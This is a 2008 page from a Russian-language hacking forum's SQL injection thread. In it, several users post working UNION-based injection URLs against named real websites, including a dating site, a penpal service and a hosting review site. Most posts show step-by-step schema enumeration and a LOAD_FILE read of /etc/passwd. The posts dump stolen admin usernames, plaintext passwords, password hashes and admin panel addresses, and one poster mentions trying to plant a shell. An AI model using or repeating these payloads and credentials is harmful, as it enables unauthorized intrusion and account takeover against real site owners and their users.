FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 658 из 1602

658

Опции темы

Поиск в этой теме

Опции просмотра

30.09.2008, 20:06

neonik

Новичок

Регистрация: 05.09.2008

Сообщений: 4

Провел на форуме:
24533

Репутация: 4

_http://flakas.49.lt

Код HTML:

_http://flakas.49.lt/index.php?loadpage=./includes/articleblock.php&articlecat=-1

1:admin:0df2c3843ee8c2ca4c430b64c7b2f5ce2753c289:
78.62.125.196:info@49.lt

http://escapedturkey.com

Код HTML:

http://escapedturkey.com/cfaq/index.php?catid=-2+union+select+concat(username,0x3a,password),2+FROM+cfaq_admin/*

Database Version: 5.0.45-community
Database name: escapedtur_faq
User name: et_rofaq@localhost

Последний раз редактировалось neonik; 30.09.2008 в 20:39..

30.09.2008, 23:25

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

Провел на форуме:
9220514

Репутация: 3338

loveus.ru

http://loveus.ru/forum/?roomid=341/**/union/**/select/**/version(),2--

Версия MySQL:
5.1.26-rc
-------
Имя базы:
lovas
-------
Юзер:
admin@localhost

Данные по полям User,Password,File_priv из таблицы mysql.user:
-------
root:*8D2CB9C6E278D6BEB907831E7424A632C17C0641:Y
root:*8D2CB9C6E278D6BEB907831E7424A632C17C0641:Y
Dunkan:*6FD087AFBFB4C2995C3C0AD9D2D5FB582CDDBF46:Y
lovas:*47B11BE6589C2FDE355C316D9DB18DB0C06CC536:Y
admin:*8D2CB9C6E278D6BEB907831E7424A632C17C0641:Y

30.09.2008, 23:57

Постоянный

Регистрация: 05.12.2004

Сообщений: 647

Провел на форуме:
1698585

Репутация: 818

www.glaad.org
/etc/passwd

Цитата:

http://www.glaad.org/media/resource_kit_detail.php?id=-3495+UNION+SELECT+1,2,3,4,5,LOAD_FILE(0x2F6574632F 706173737764),7,8,9,10,11,12,13,14,15,16,17,18,19, 20

file_priv=y

Цитата:

http://www.glaad.org/media/resource_kit_detail.php?id=-3495+UNION+SELECT+1,2,3,4,5,file_priv,7,8,9,10,11, 12,13,14,15,16,17,18,19,20+from+mysql.user

document root
/www/www/doc-root/media/resource_kit_detail.php
залить нелл не удалось, ненашел папку справами на запись

www.dissentmagazine.org

Цитата:

http://www.dissentmagazine.org/online.php?id=-117+UNION+SELECT+1,concat_ws(0x3a,user_name,user_p assword),3,4,5,6,7,8,9,10+from+user

admin:32fea379cc31c22c27761ec9d08e630c
root:0643c3fdceb7e8eeeaa914850a1eec85
админку неискал, хеши не расшифровывал =)

01.10.2008, 02:45

1337haxx0r

Новичок

Регистрация: 16.09.2008

Сообщений: 8

Провел на форуме:
102861

Репутация: 25

Всем привА.
Я тут решил запостится.
вообщем так.

вот сайтеГ нашёл

Код:

http://www.penpal.ru

решил же глянуть, чё там и к чему =)

Как всегда, стандартная проверка

Код:

http://www.penpal.ru/cgi-bin/person.pl?id=-1175185312'

Узнаем что имееЦЦо 28 полей, и одно принтабельное - 21

Код:

http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

Версия скулИ 5-я
(пальцем в небо) ибо даже через http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+and+substring(@@version,1, 1)=5 не признавалось, или это Я =)))))

короче полазил, полазил...нашёл таблицу person
а в ней поля
id - идентификаторы
passw - пароли в чистом виде
email - мылы
icq - аси(есть не у всех)

похакал.....и дальше пошёл
Одминку не нашёл =(

-----
P.S
Странно было, когда я ввёл в это принтабельное поле запрос version()....оно не выдало мне версию, а выдало что такой таблицы нету.

Последний раз редактировалось 1337haxx0r; 01.10.2008 в 02:47..

01.10.2008, 07:02

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

Провел на форуме:
1404552

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

1337haxx0r

Цитата:

http://www.penpal.ru/cgi-bin/person.pl?id=1175185312+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,19,20,@@version,22 ,23,24,25,26,27,28--

а так не пробвал ? ))

01.10.2008, 18:10

1337haxx0r

Новичок

Регистрация: 16.09.2008

Сообщений: 8

Провел на форуме:
102861

Репутация: 25

Цитата:

Сообщение от sabe

1337haxx0r

а так не пробвал ? ))

....фак, я и не знал....поэтому и не додумался =)

но спасибо, теперь уж буду знать =)

Последний раз редактировалось 1337haxx0r; 01.10.2008 в 18:33..

01.10.2008, 18:32

1337haxx0r

Новичок

Регистрация: 16.09.2008

Сообщений: 8

Провел на форуме:
102861

Репутация: 25

Вот ещё нашёл сайтеГ =)

Вообщем, проверяем и видим ошибочку скулЯ

Код:

http://www.kateeya.com/content.php?menu=-2'

имеем 6 полей одно принтабельное - 2

Код:

http://www.kateeya.com/content.php?menu=2+order+by+6--

http://www.kateeya.com/content.php?menu=2+union+select+1,2,3,4,5,6--

Версия скули 5-я
Значит заюзаем information_schema

Код:

http://www.kateeya.com/content.php?menu=2+union+select+1,concat_ws(0x3a3a3a,table_name,column_name),3,4,5,6++from+information_schema.columns--

нам тут полный фарт, видим все таблицы с полями, ищем интерессные.....а это
siji_user:::user_id - идентификаторы
siji_user:::user_name - юзеры
siji_user:::user_pwd - пароли в чистом виде
siji_user:::user_email - мылы

смотрим и видим одну запись....которая нас радует и при этом поднимает настроение =)))))

Код:

http://www.kateeya.com/content.php?menu=2+union+select+1,concat_ws(0x3a3a3a,user_name,user_pwd),3,4,5,6++from+siji_user--

Конечный итог:
Username: admin
Password: admin
Админка: http://www.kateeya.com/admin/login.php

----
Пока что всё, всем приятного и удачного хакинга =))))

01.10.2008, 19:52

1337haxx0r

Новичок

Регистрация: 16.09.2008

Сообщений: 8

Провел на форуме:
102861

Репутация: 25

ещё один бажный сайт.....хостинг

Проверяем

Код:

http://www.webhostingjury.com/hosts.php?id=-534'

имеем ошибкку, и узнаем что имееЦЦо 3 поля, одно принтабельно - 2

Код:

http://www.webhostingjury.com/hosts.php?id=-534+union+select+1,2,3--

Версия Мускуля 5-я
знач обращаемся к нашей информационной таблице information_schema

Код:

http://www.webhostingjury.com/hosts.php?id=-534+union+select+1,concat_ws(0x3a3a3a,table_name,column_name),3+from+information_schema.columns--

ждём пока выведутся все поля и таблицы...

находим нас интересующие, а именно:

admin:::adm_username - имя админского юзера
admin:::adm_password - пароль в открытом виде

или

hosts:::username - имя юзера(хоста)
hosts::: password - пароли в чистом виде

Код:

http://www.webhostingjury.com
/hosts.php?id=-534+union+select+1,concat_ws(0x3a3a3a,adm_password,adm_username),3+from+admin--

http://www.webhostingjury.com/hosts.php?id=-534+union+select+1,concat_ws(0x3a3a3a,password,username),3+from+hosts--

я брал админа.
получаем: imkool:::ajay

Конечный итог:
Admin Username: ajay
Admin Password: imkool

Админка: http://www.webhostingjury.com./adm/www/admin/index.php

---
...но почему-то не проходит инфа в админке...
логин юзеров не искал....

02.10.2008, 01:48

1337haxx0r

Новичок

Регистрация: 16.09.2008

Сообщений: 8

Провел на форуме:
102861

Репутация: 25

ну я сегодня в угаре(на работе нечего делать) =))))

сайт знакомств, с виду приличный...а как капнёшь глубже...ппц

Смотрим, скуля начинает ругаЦЦо =)

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215'

пробиваем поля, у нас их 23, из них штук 5 принтабельных.
Версия скулИ 5-я (везёт мне) =)

поперебирал я лимитом....нашёл таблицы

dating_adminmembers:::username
dating_adminmembers::: password

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,table_name,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+limit+166,1--

и

members:::username
members::: password

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,table_name,column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+limit+519,1--

Я брал админа

Код:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,username,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dating_adminmembers--

admin:::admin456
пасс в чистейшем виде, оч замечательно =)

ОдминкО: http://www.datingfunda.com/webadmin/